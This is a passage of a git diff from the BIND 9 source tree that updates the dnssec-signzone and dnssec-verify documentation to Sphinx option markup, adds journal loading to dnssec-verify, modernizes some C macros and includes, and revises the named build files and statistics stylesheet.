+   :program:`dnssec-signzone` is run it prints three pieces of information to standard output: the number of
    keys in use; the algorithms used to verify the zone was signed correctly and
    other status information; and the filename containing the signed
    zone. With the option that output is suppressed, leaving only the filename.
 
-``-R``
+.. option:: -R
+
    This option removes signatures from keys that are no longer published.
 
-   This option is similar to ``-Q``, except it forces
-   ``dnssec-signzone`` to remove signatures from keys that are no longer
+   This option is similar to :option:`-Q`, except it forces
+   :program:`dnssec-signzone` to remove signatures from keys that are no longer
    published. This enables ZSK rollover using the procedure described in
    :rfc:`4641#4.2.1.2` ("Double Signature Zone Signing Key
    Rollover").
 
-``-S``
-   This option enables smart signing, which instructs ``dnssec-signzone`` to search the key
+.. option:: -S
+
+   This option enables smart signing, which instructs :program:`dnssec-signzone` to search the key
    repository for keys that match the zone being signed, and to include
    them in the zone if appropriate.
 
@@ -297,11 +327,12 @@ Options
       If the key's sync deletion date is set and is in the past,
       synchronization records (type CDS and/or CDNSKEY) are removed.
 
-``-T ttl``
+.. option:: -T ttl
+
    This option specifies a TTL to be used for new DNSKEY records imported into the
    zone from the key repository. If not specified, the default is the
    TTL value from the zone's SOA record. This option is ignored when
-   signing without ``-S``, since DNSKEY records are not imported from
+   signing without :option:`-S`, since DNSKEY records are not imported from
    the key repository in that case. It is also ignored if there are any
    pre-existing DNSKEY records at the zone apex, in which case new
    records' TTL values are set to match them, or if any of the
@@ -309,51 +340,69 @@ Options
    conflict between TTL values in imported keys, the shortest one is
    used.
 
-``-t``
+.. option:: -t
+
    This option prints statistics at completion.
 
-``-u``
+.. option:: -u
+
    This option updates the NSEC/NSEC3 chain when re-signing a previously signed zone.
    With this option, a zone signed with NSEC can be switched to NSEC3,
    or a zone signed with NSEC3 can be switched to NSEC or to NSEC3 with
-   different parameters. Without this option, ``dnssec-signzone``
+   different parameters. Without this option, :program:`dnssec-signzone`
    retains the existing chain when re-signing.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level.
 
-``-x``
+.. option:: -x
+
    This option indicates that BIND 9 should only sign the DNSKEY, CDNSKEY, and CDS RRsets with key-signing keys,
-   and should omit signatures from zone-signing keys. (This is similar to the
-   ``dnssec-dnskey-kskonly yes;`` zone option in ``named``.)
+   and should omit signatures from zone-signing keys.
+
+.. option:: -z
 
-``-z``
    This option indicates that BIND 9 should ignore the KSK flag on keys when determining what to sign. This causes
    KSK-flagged keys to sign all records, not just the DNSKEY RRset.
-   (This is similar to the ``update-check-ksk no;`` zone option in
-   ``named``.)
 
-``-3 salt``
+.. option:: -3 salt
+
    This option generates an NSEC3 chain with the given hex-encoded salt. A dash
    (-) can be used to indicate that no salt is to be used when
    generating the NSEC3 chain.
 
-``-H iterations``
+   .. note::
+      ``-3 -`` is the recommended configuration. Adding salt provides no practical benefits.
+
+.. option:: -H iterations
+
    This option indicates that, when generating an NSEC3 chain, BIND 9 should use this many iterations. The default
-   is 10.
+   is 0.
+
+   .. warning::
+      Values greater than 0 cause interoperability issues and also increase the risk of CPU-exhausting DoS attacks.
+
+.. option:: -A
 
-``-A``
    This option indicates that, when generating an NSEC3 chain, BIND 9 should set the OPTOUT flag on all NSEC3
    records and should not generate NSEC3 records for insecure delegations.
 
-   Using this option twice (i.e., ``-AA``) turns the OPTOUT flag off for
-   all records. This is useful when using the ``-u`` option to modify an
+   .. warning::
+      Do not use this option unless all its implications are fully understood. This option is intended only for extremely large zones (comparable to ``com.``) with sparse secure delegations.
+
+.. option:: -AA
+
+   This option turns the OPTOUT flag off for
+   all records. This is useful when using the :option:`-u` option to modify an
    NSEC3 chain which previously had OPTOUT set.
 
-``zonefile``
+.. option:: zonefile
+
    This option sets the file containing the zone to be signed.
 
-``key``
+.. option:: key
+
    This option specifies which keys should be used to sign the zone. If no keys are
    specified, the zone is examined for DNSKEY records at the
    zone apex. If these records are found and there are matching private keys in
@@ -363,11 +412,11 @@ Example
 ~~~~~~~
 
 The following command signs the ``example.com`` zone with the
-ECDSAP256SHA256 key generated by ``dnssec-keygen``
-(Kexample.com.+013+17247). Because the ``-S`` option is not being used,
+ECDSAP256SHA256 key generated by :iscman:`dnssec-keygen`
+(Kexample.com.+013+17247). Because the :option:`-S` option is not being used,
 the zone's keys must be in the master file (``db.example.com``). This
 invocation looks for ``dsset`` files in the current directory, so that
-DS records can be imported from them (``-g``).
+DS records can be imported from them (:option:`-g`).
 
 ::
 
@@ -376,9 +425,9 @@ DS records can be imported from them (``-g``).
    db.example.com.signed
    %
 
-In the above example, ``dnssec-signzone`` creates the file
+In the above example, :program:`dnssec-signzone` creates the file
 ``db.example.com.signed``. This file should be referenced in a zone
-statement in the ``named.conf`` file.
+statement in the :iscman:`named.conf` file.
 
 This example re-signs a previously signed zone with default parameters.
 The private keys are assumed to be in the current directory.
@@ -393,5 +442,5 @@ The private keys are assumed to be in the current directory.
 See Also
 ~~~~~~~~
 
-:manpage:`dnssec-keygen(8)`, BIND 9 Administrator Reference Manual, :rfc:`4033`,
+:iscman:`dnssec-keygen(8) <dnssec-keygen>`, BIND 9 Administrator Reference Manual, :rfc:`4033`,
 :rfc:`4641`.
diff --git a/bin/dnssec/dnssec-verify.c b/bin/dnssec/dnssec-verify.c
index eb845ffbc8..e6b8972b02 100644
--- a/bin/dnssec/dnssec-verify.c
+++ b/bin/dnssec/dnssec-verify.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,19 +17,17 @@
 #include <stdlib.h>
 #include <time.h>
 
-#include <isc/app.h>
 #include <isc/attributes.h>
 #include <isc/base32.h>
 #include <isc/commandline.h>
-#include <isc/event.h>
 #include <isc/file.h>
 #include <isc/hash.h>
 #include <isc/hex.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
 #include <isc/os.h>
-#include <isc/print.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/serial.h>
 #include <isc/stdio.h>
@@ -54,17 +54,12 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/soa.h>
 #include <dns/time.h>
 #include <dns/zoneverify.h>
 
 #include <dst/dst.h>
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include "dnssectool.h"
 
 const char *program = "dnssec-verify";
@@ -72,10 +67,10 @@ const char *program = "dnssec-verify";
 static isc_stdtime_t now;
 static isc_mem_t *mctx = NULL;
 static dns_masterformat_t inputformat = dns_masterformat_text;
-static dns_db_t *gdb;		  /* The database */
-static dns_dbversion_t *gversion; /* The database version */
-static dns_rdataclass_t gclass;	  /* The class */
-static dns_name_t *gorigin;	  /* The database origin */
+static dns_db_t *gdb = NULL;		 /* The database */
+static dns_dbversion_t *gversion = NULL; /* The database version */
+static dns_rdataclass_t gclass;		 /* The class */
+static dns_name_t *gorigin = NULL;	 /* The database origin */
 static bool ignore_kskflag = false;
 static bool keyset_kskonly = false;
 
@@ -134,14 +129,14 @@ loadzone(char *file, char *origin, dns_rdataclass_t rdclass, dns_db_t **db) {
 			      "use -o to specify a different zone origin",
 			      origin, file);
 		}
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	default:
 		fatal("failed loading zone from '%s': %s", file,
 		      isc_result_totext(result));
 	}
 }
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -163,14 +158,7 @@ usage(void) {
 	fprintf(stderr, "\t\tfile format of input zonefile (text)\n");
 	fprintf(stderr, "\t-c class (IN)\n");
 	fprintf(stderr, "\t-E engine:\n");
-#if USE_PKCS11
-	fprintf(stderr,
-		"\t\tpath to PKCS#11 provider library "
-		"(default is %s)\n",
-		PK11_LIB_LOCATION);
-#else  /* if USE_PKCS11 */
 	fprintf(stderr, "\t\tname of an OpenSSL engine to use\n");
-#endif /* if USE_PKCS11 */
 	fprintf(stderr, "\t-x:\tDNSKEY record signed with KSKs only, "
 			"not ZSKs\n");
 	fprintf(stderr, "\t-z:\tAll records signed with KSKs\n");
@@ -189,7 +177,7 @@ main(int argc, char *argv[]) {
 	char *endp;
 	int ch;
 
-#define CMDLINE_FLAGS "c:E:hm:o:I:qv:Vxz"
+#define CMDLINE_FLAGS "c:E:hJ:m:o:I:qv:Vxz"
 
 	/*
 	 * Process memory debugging argument first.
@@ -209,27 +197,15 @@ main(int argc, char *argv[]) {
 			{
 				isc_mem_debugging |= ISC_MEM_DEBUGUSAGE;
 			}
-			if (strcasecmp(isc_commandline_argument, "size") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGSIZE;
-			}
-			if (strcasecmp(isc_commandline_argument, "mctx") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGCTX;
-			}
 			break;
 		default:
 			break;
 		}
 	}
 	isc_commandline_reset = true;
-	check_result(isc_app_start(), "isc_app_start");
 
 	isc_mem_create(&mctx);
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	isc_commandline_errprint = false;
 
 	while ((ch = isc_commandline_parse(argc, argv, CMDLINE_FLAGS)) != -1) {
@@ -246,6 +222,10 @@ main(int argc, char *argv[]) {
 			inputformatstr = isc_commandline_argument;
 			break;
 
+		case 'J':
+			journal = isc_commandline_argument;
+			break;
+
 		case 'm':
 			break;
 
@@ -278,7 +258,7 @@ main(int argc, char *argv[]) {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-			/* FALLTHROUGH */
+			FALLTHROUGH;
 
 		case 'h':
 			/* Does not return. */
@@ -301,7 +281,7 @@ main(int argc, char *argv[]) {
 		      isc_result_totext(result));
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
 	rdclass = strtoclass(classname);
 
@@ -339,6 +319,9 @@ main(int argc, char *argv[]) {
 	gdb = NULL;
 	report("Loading zone '%s' from file '%s'\n", origin, file);
 	loadzone(file, origin, rdclass, &gdb);
+	if (journal != NULL) {
+		loadjournal(mctx, gdb, journal);
+	}
 	gorigin = dns_db_origin(gdb);
 	gclass = dns_db_class(gdb);
 
@@ -359,7 +342,5 @@ main(int argc, char *argv[]) {
 	}
 	isc_mem_destroy(&mctx);
 
-	(void)isc_app_finish();
-
 	return (result == ISC_R_SUCCESS ? 0 : 1);
 }
diff --git a/bin/dnssec/dnssec-verify.rst b/bin/dnssec/dnssec-verify.rst
index 7f2ba531bb..870089482b 100644
--- a/bin/dnssec/dnssec-verify.rst
+++ b/bin/dnssec/dnssec-verify.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-verify
+.. program:: dnssec-verify
 .. _man_dnssec-verify:
 
 dnssec-verify - DNSSEC zone verification tool
@@ -34,58 +26,64 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``dnssec-verify`` verifies that a zone is fully signed for each
+:program:`dnssec-verify` verifies that a zone is fully signed for each
 algorithm found in the DNSKEY RRset for the zone, and that the
 NSEC/NSEC3 chains are complete.
 
 Options
 ~~~~~~~
 
-``-c class``
+.. option:: -c class
+
    This option specifies the DNS class of the zone.
 
-``-E engine``
+.. option:: -E engine
+
    This option specifies the cryptographic hardware to use, when applicable.
 
    When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
    engine identifier that drives the cryptographic accelerator or
-   hardware service module (usually ``pkcs11``). When BIND is
-   built with native PKCS#11 cryptography (``--enable-native-pkcs11``), it
-   defaults to the path of the PKCS#11 provider library specified via
-   ``--with-pkcs11``.
+   hardware service module (usually ``pkcs11``).
+
+.. option:: -I input-format
 
-``-I input-format``
    This option sets the format of the input zone file. Possible formats are ``text``
    (the default) and ``raw``. This option is primarily intended to be used
    for dynamic signed zones, so that the dumped zone file in a non-text
    format containing updates can be verified independently.
    This option is not useful for non-dynamic zones.
 
-``-o origin``
+.. option:: -o origin
+
    This option indicates the zone origin. If not specified, the name of the zone file is
    assumed to be the origin.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level.
 
-``-V``
+.. option:: -V
+
    This option prints version information.
 
-``-q``
-   This option sets quiet mode, which suppresses output.  Without this option, when ``dnssec-verify``
+.. option:: -q
+
+   This option sets quiet mode, which suppresses output.  Without this option, when :program:`dnssec-verify`
    is run it prints to standard output the number of keys in use, the
    algorithms used to verify the zone was signed correctly, and other status
    information.  With this option, all non-error output is suppressed, and only the exit
    code indicates success.
 
-``-x``
+.. option:: -x
+
    This option verifies only that the DNSKEY RRset is signed with key-signing keys.
    Without this flag, it is assumed that the DNSKEY RRset is signed
    by all active keys. When this flag is set, it is not an error if
    the DNSKEY RRset is not signed by zone-signing keys. This corresponds
-   to the ``-x`` option in ``dnssec-signzone``.
+   to the :option:`-x option in dnssec-signzone <dnssec-signzone -x>`.
+
+.. option:: -z
 
-``-z``
    This option indicates that the KSK flag on the keys should be ignored when determining whether the zone is
    correctly signed. Without this flag, it is assumed that there is
    a non-revoked, self-signed DNSKEY with the KSK flag set for each
@@ -97,12 +95,13 @@ Options
    the KSK flag state, and that other RRsets be signed by a
    non-revoked key for the same algorithm that includes the self-signed
    key; the same key may be used for both purposes. This corresponds to
-   the ``-z`` option in ``dnssec-signzone``.
+   the :option:`-z option in dnssec-signzone <dnssec-signzone -z>`.
+
+.. option:: zonefile
 
-``zonefile``
    This option indicates the file containing the zone to be signed.
 
 See Also
 ~~~~~~~~
 
-:manpage:`dnssec-signzone(8)`, BIND 9 Administrator Reference Manual, :rfc:`4033`.
+:iscman:`dnssec-signzone(8) <dnssec-signzone>`, BIND 9 Administrator Reference Manual, :rfc:`4033`.
diff --git a/bin/dnssec/dnssectool.c b/bin/dnssec/dnssectool.c
index 6645c2dc3c..92980a8ca9 100644
--- a/bin/dnssec/dnssectool.c
+++ b/bin/dnssec/dnssectool.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -27,16 +29,18 @@
 #include <isc/heap.h>
 #include <isc/list.h>
 #include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/time.h>
+#include <isc/tls.h>
+#include <isc/tm.h>
 #include <isc/util.h>
 
 #include <dns/db.h>
 #include <dns/dbiterator.h>
 #include <dns/dnssec.h>
 #include <dns/fixedname.h>
+#include <dns/journal.h>
 #include <dns/keyvalues.h>
 #include <dns/log.h>
 #include <dns/name.h>
@@ -47,7 +51,6 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/secalg.h>
 #include <dns/time.h>
 
@@ -63,7 +66,8 @@ static const char *keystates[KEYSTATES_NVALUES] = {
 
 int verbose = 0;
 bool quiet = false;
-uint8_t dtype[8];
+const char *journal = NULL;
+dns_dsdigest_t dtype[8];
 
 static fatalcallback_t *fatalcallback = NULL;
 
@@ -79,6 +83,7 @@ fatal(const char *format, ...) {
 	if (fatalcallback != NULL) {
 		(*fatalcallback)();
 	}
+	isc__tls_setfatalmode();
 	exit(1);
 }
 
@@ -108,7 +113,7 @@ vbprintf(int level, const char *fmt, ...) {
 
 void
 version(const char *name) {
-	fprintf(stderr, "%s %s\n", name, PACKAGE_VERSION);
+	printf("%s %s\n", name, PACKAGE_VERSION);
 	exit(0);
 }
 
@@ -214,7 +219,7 @@ time_units(isc_stdtime_t offset, char *suffix, const char *str) {
 		default:
 			fatal("time value %s is invalid", str);
 		}
-		/* NOTREACHED */
+		UNREACHABLE();
 		break;
 	case 'W':
 	case 'w':
@@ -232,14 +237,15 @@ time_units(isc_stdtime_t offset, char *suffix, const char *str) {
 	default:
 		fatal("time value %s is invalid", str);
 	}
-	/* NOTREACHED */
+	UNREACHABLE();
 	return (0); /* silence compiler warning */
 }
 
-static inline bool
+static bool
 isnone(const char *str) {
 	return ((strcasecmp(str, "none") == 0) ||
-		(strcasecmp(str, "never") == 0));
+		(strcasecmp(str, "never") == 0) ||
+		(strcasecmp(str, "unset") == 0));
 }
 
 dns_ttl_t
@@ -272,7 +278,7 @@ strtokeystate(const char *str) {
 			return ((dst_key_state_t)i);
 		}
 	}
-	fatal("unknown key state");
+	fatal("unknown key state %s", str);
 }
 
 isc_stdtime_t
@@ -282,17 +288,14 @@ strtotime(const char *str, int64_t now, int64_t base, bool *setp) {
 	const char *orig = str;
 	char *endp;
 	size_t n;
+	struct tm tm;
 
 	if (isnone(str)) {
-		if (setp != NULL) {
-			*setp = false;
-		}
+		SET_IF_NOT_NULL(setp, false);
 		return ((isc_stdtime_t)0);
 	}
 
-	if (setp != NULL) {
-		*setp = true;
-	}
+	SET_IF_NOT_NULL(setp, true);
 
 	if ((str[0] == '0' || str[0] == '-') && str[1] == '\0') {
 		return ((isc_stdtime_t)0);
@@ -303,11 +306,14 @@ strtotime(const char *str, int64_t now, int64_t base, bool *setp) {
 	 *   now([+-]offset)
 	 *   YYYYMMDD([+-]offset)
 	 *   YYYYMMDDhhmmss([+-]offset)
+	 *   Day Mon DD HH:MM:SS YYYY([+-]offset)
+	 *   1234567890([+-]offset)
 	 *   [+-]offset
 	 */
 	n = strspn(str, "0123456789");
 	if ((n == 8u || n == 14u) &&
-	    (str[n] == '\0' || str[n] == '-' || str[n] == '+')) {
+	    (str[n] == '\0' || str[n] == '-' || str[n] == '+'))
+	{
 		char timestr[15];
 
 		strlcpy(timestr, str, sizeof(timestr));
@@ -322,9 +328,22 @@ strtotime(const char *str, int64_t now, int64_t base, bool *setp) {
 		}
 		base = val;
 		str += n;
+	} else if (n == 10u &&
+		   (str[n] == '\0' || str[n] == '-' || str[n] == '+'))
+	{
+		base = strtoll(str, &endp, 0);
+		str += 10;
 	} else if (strncmp(str, "now", 3) == 0) {
 		base = now;
 		str += 3;
+	} else if (str[0] >= 'A' && str[0] <= 'Z') {
+		/* parse ctime() format as written by `dnssec-settime -p` */
+		endp = isc_tm_strptime(str, "%a %b %d %H:%M:%S %Y", &tm);
+		if (endp != str + 24) {
+			fatal("time value %s is invalid", orig);
+		}
+		base = mktime(&tm);
+		str += 24;
 	}
 
 	if (str[0] == '\0') {
@@ -353,7 +372,7 @@ strtoclass(const char *str) {
 	if (str == NULL) {
 		return (dns_rdataclass_in);
 	}
-	DE_CONST(str, r.base);
+	r.base = UNCONST(str);
 	r.length = strlen(str);
 	result = dns_rdataclass_fromtext(&rdclass, &r);
 	if (result != ISC_R_SUCCESS) {
@@ -368,7 +387,7 @@ strtodsdigest(const char *str) {
 	dns_dsdigest_t alg;
 	isc_result_t result;
 
-	DE_CONST(str, r.base);
+	r.base = UNCONST(str);
 	r.length = strlen(str);
 	result = dns_dsdigest_fromtext(&alg, &r);
 	if (result != ISC_R_SUCCESS) {
@@ -386,7 +405,7 @@ cmp_dtype(const void *ap, const void *bp) {
 
 void
 add_dtype(unsigned int dt) {
-	unsigned i, n;
+	unsigned int i, n;
 
 	/* ensure there is space for a zero terminator */
 	n = sizeof(dtype) / sizeof(dtype[0]) - 1;
@@ -453,8 +472,7 @@ set_keyversion(dst_key_t *key) {
 	 * set the creation date
 	 */
 	if (major < 1 || (major == 1 && minor <= 2)) {
-		isc_stdtime_t now;
-		isc_stdtime_get(&now);
+		isc_stdtime_t now = isc_stdtime_now();
 		dst_key_settime(key, DST_TIME_CREATED, now);
 	}
 }
@@ -469,9 +487,7 @@ key_collision(dst_key_t *dstkey, dns_name_t *name, const char *dir,
 	uint16_t id, oldid;
 	uint32_t rid, roldid;
 	dns_secalg_t alg;
-	char filename[NAME_MAX];
-	isc_buffer_t fileb;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	if (exact != NULL) {
 		*exact = false;
@@ -480,23 +496,8 @@ key_collision(dst_key_t *dstkey, dns_name_t *name, const char *dir,
 	id = dst_key_id(dstkey);
 	rid = dst_key_rid(dstkey);
 	alg = dst_key_alg(dstkey);
-	/*
-	 * For Diffie Hellman just check if there is a direct collision as
-	 * they can't be revoked.  Additionally dns_dnssec_findmatchingkeys
-	 * only handles DNSKEY which is not used for HMAC.
-	 */
-	if (alg == DST_ALG_DH) {
-		isc_buffer_init(&fileb, filename, sizeof(filename));
-		result = dst_key_buildfilename(dstkey, DST_TYPE_PRIVATE, dir,
-					       &fileb);
-		if (result != ISC_R_SUCCESS) {
-			return (true);
-		}
-		return (isc_file_exists(filename));
-	}
 
 	ISC_LIST_INIT(matchkeys);
-	isc_stdtime_get(&now);
 	result = dns_dnssec_findmatchingkeys(name, dir, now, mctx, &matchkeys);
 	if (result == ISC_R_NOTFOUND) {
 		return (false);
@@ -562,3 +563,41 @@ isoptarg(const char *arg, char **argv, void (*usage)(void)) {
 	}
 	return (false);
 }
+
+void
+loadjournal(isc_mem_t *mctx, dns_db_t *db, const char *file) {
+	dns_journal_t *jnl = NULL;
+	isc_result_t result;
+
+	result = dns_journal_open(mctx, file, DNS_JOURNAL_READ, &jnl);
+	if (result == ISC_R_NOTFOUND) {
+		fprintf(stderr, "%s: journal file %s not found\n", program,
+			file);
+		goto cleanup;
+	} else if (result != ISC_R_SUCCESS) {
+		fatal("unable to open journal %s: %s\n", file,
+		      isc_result_totext(result));
+	}
+
+	if (dns_journal_empty(jnl)) {
+		dns_journal_destroy(&jnl);
+		return;
+	}
+
+	result = dns_journal_rollforward(jnl, db, 0);
+	switch (result) {
+	case ISC_R_SUCCESS:
+	case DNS_R_UPTODATE:
+		break;
+
+	case ISC_R_NOTFOUND:
+	case ISC_R_RANGE:
+		fatal("journal %s out of sync with zone", file);
+
+	default:
+		fatal("journal %s: %s\n", file, isc_result_totext(result));
+	}
+
+cleanup:
+	dns_journal_destroy(&jnl);
+}
diff --git a/bin/dnssec/dnssectool.h b/bin/dnssec/dnssectool.h
index 04c81c1a56..5bc69cd14d 100644
--- a/bin/dnssec/dnssectool.h
+++ b/bin/dnssec/dnssectool.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,15 +11,13 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNSSECTOOL_H
-#define DNSSECTOOL_H 1
+#pragma once
 
 #include <inttypes.h>
 #include <stdbool.h>
 
 #include <isc/attributes.h>
 #include <isc/log.h>
-#include <isc/platform.h>
 #include <isc/stdtime.h>
 
 #include <dns/rdatastruct.h>
@@ -32,6 +32,9 @@ extern bool quiet;
 /*! program name, statically initialized in each program */
 extern const char *program;
 
+/*! journal file */
+extern const char *journal;
+
 /*!
  * List of DS digest types used by dnssec-cds and dnssec-dsfromkey,
  * defined in dnssectool.c. Filled in by add_dtype() from -a
@@ -43,12 +46,8 @@ extern uint8_t dtype[8];
 
 typedef void(fatalcallback_t)(void);
 
-#ifndef CPPCHECK
-ISC_NORETURN void
+noreturn void
 fatal(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
-#else /* CPPCHECK */
-#define fatal(...) exit(1)
-#endif
 
 void
 setfatalcallback(fatalcallback_t *callback);
@@ -59,7 +58,7 @@ check_result(isc_result_t result, const char *message);
 void
 vbprintf(int level, const char *fmt, ...) ISC_FORMAT_PRINTF(2, 3);
 
-ISC_NORETURN void
+noreturn void
 version(const char *program);
 
 void
@@ -107,4 +106,5 @@ key_collision(dst_key_t *key, dns_name_t *name, const char *dir,
 bool
 isoptarg(const char *arg, char **argv, void (*usage)(void));
 
-#endif /* DNSSEC_DNSSECTOOL_H */
+void
+loadjournal(isc_mem_t *mctx, dns_db_t *db, const char *journal);
diff --git a/bin/named/Makefile.am b/bin/named/Makefile.am
index bd276c96c7..291bab5e2a 100644
--- a/bin/named/Makefile.am
+++ b/bin/named/Makefile.am
@@ -7,13 +7,13 @@ AM_CPPFLAGS +=				\
 	$(LIBNS_CFLAGS)			\
 	$(LIBISCCC_CFLAGS)		\
 	$(LIBISCCFG_CFLAGS)		\
-	$(LIBBIND9_CFLAGS)		\
 	$(OPENSSL_CFLAGS)		\
 	$(LIBCAP_CFLAGS)		\
 	$(LMDB_CFLAGS)			\
 	$(MAXMINDDB_CFLAGS)		\
 	$(DNSTAP_CFLAGS)		\
 	$(LIBUV_CFLAGS)			\
+	$(LIBSYSTEMD_CFLAGS)		\
 	$(ZLIB_CFLAGS)
 
 if HAVE_JSON_C
@@ -21,6 +21,11 @@ AM_CPPFLAGS +=				\
 	$(JSON_C_CFLAGS)
 endif HAVE_JSON_C
 
+if HAVE_LIBNGHTTP2
+AM_CPPFLAGS +=				\
+	$(LIBNGHTTP2_CFLAGS)
+endif HAVE_LIBNGHTTP2
+
 if HAVE_LIBXML2
 AM_CPPFLAGS +=				\
 	$(LIBXML2_CFLAGS)
@@ -33,8 +38,8 @@ AM_CPPFLAGS +=						\
 sbin_PROGRAMS = named
 
 nodist_named_SOURCES = xsl.c
-BUILT_SOURCES = xsl.c
-CLEANFILES = xsl.c
+BUILT_SOURCES += xsl.c
+CLEANFILES += xsl.c
 
 EXTRA_DIST = bind9.xsl
 
@@ -42,7 +47,7 @@ xsl.c: bind9.xsl Makefile
 	(echo 'const char xslmsg[] =' &&	\
 	 $(SED)	-e 's,\",\\\",g'		\
 		-e 's,^,\",'			\
-		-e 's,$$,\",' &&		\
+		-e 's,$$,\\n\",' &&		\
 	 echo ";")				\
 	< "${srcdir}/bind9.xsl" > $@
 
@@ -97,14 +102,13 @@ named_LDADD =					\
 	$(LIBNS_LIBS)				\
 	$(LIBISCCC_LIBS)			\
 	$(LIBISCCFG_LIBS)			\
-	$(LIBBIND9_LIBS)			\
 	$(OPENSSL_LIBS)				\
 	$(LIBCAP_LIBS)				\
 	$(LMDB_LIBS)				\
 	$(MAXMINDDB_LIBS)			\
 	$(DNSTAP_LIBS)				\
 	$(LIBUV_LIBS)				\
-	$(LIBXML2_LIBS)				\
+	$(LIBSYSTEMD_LIBS)			\
 	$(ZLIB_LIBS)
 
 if HAVE_JSON_C
@@ -112,5 +116,12 @@ named_LDADD +=					\
 	$(JSON_C_LIBS)
 endif HAVE_JSON_C
 
-MAINTAINERCLEANFILES =				\
-	named.conf.rst
+if HAVE_LIBNGHTTP2
+named_LDADD +=					\
+	$(LIBNGHTTP2_LIBS)
+endif HAVE_LIBNGHTTP2
+
+if HAVE_LIBXML2
+named_LDADD +=					\
+	$(LIBXML2_LIBS)
+endif HAVE_LIBXML2
diff --git a/bin/named/bind9.xsl b/bin/named/bind9.xsl
index 5078115f27..91f59440d2 100644
--- a/bin/named/bind9.xsl
+++ b/bin/named/bind9.xsl
@@ -2,6 +2,7 @@
 <!--
  - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  -
+ - SPDX-License-Identifier: MPL-2.0
  - This Source Code Form is subject to the terms of the Mozilla Public
  - License, v. 2.0. If a copy of the MPL was not distributed with this
  - file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,7 +13,9 @@
 
 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml" version="1.0">
   <xsl:output method="html" indent="yes" version="4.0"/>
-  <xsl:template match="statistics[@version=&quot;3.11&quot;]">
+  <!-- the version number **below** must match version in bin/named/statschannel.c -->
+  <!-- don't forget to update "/xml/v<STATS_XML_VERSION_MAJOR>" in the HTTP endpoints listed below -->
+  <xsl:template match="statistics[@version=&quot;3.14&quot;]">
     <html>
       <head>
         <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
@@ -153,29 +156,6 @@
       background-color: #99ddff;
      }
 
-     table.tasks {
-      border: 1px solid grey;
-      width: 500px;
-     }
-     table.tasks th {
-      text-align: center;
-      border: 1px solid grey;
-      width: 150px;
-     }
-     table.tasks td {
-      text-align: right;
-      font-family: monospace;
-     }
-     table.tasks td:nth-child(2) {
-      text-align: center;
-     }
-     table.tasks td:nth-child(4) {
-      text-align: center;
-     }
-     table.tasks tr:hover{
-      background-color: #99ddff;
-     }
-
      table.netstat {
       border: 1px solid grey;
       width: 500px;
@@ -324,7 +304,6 @@
 	<a href="/xml/v3/server">Server</a>,
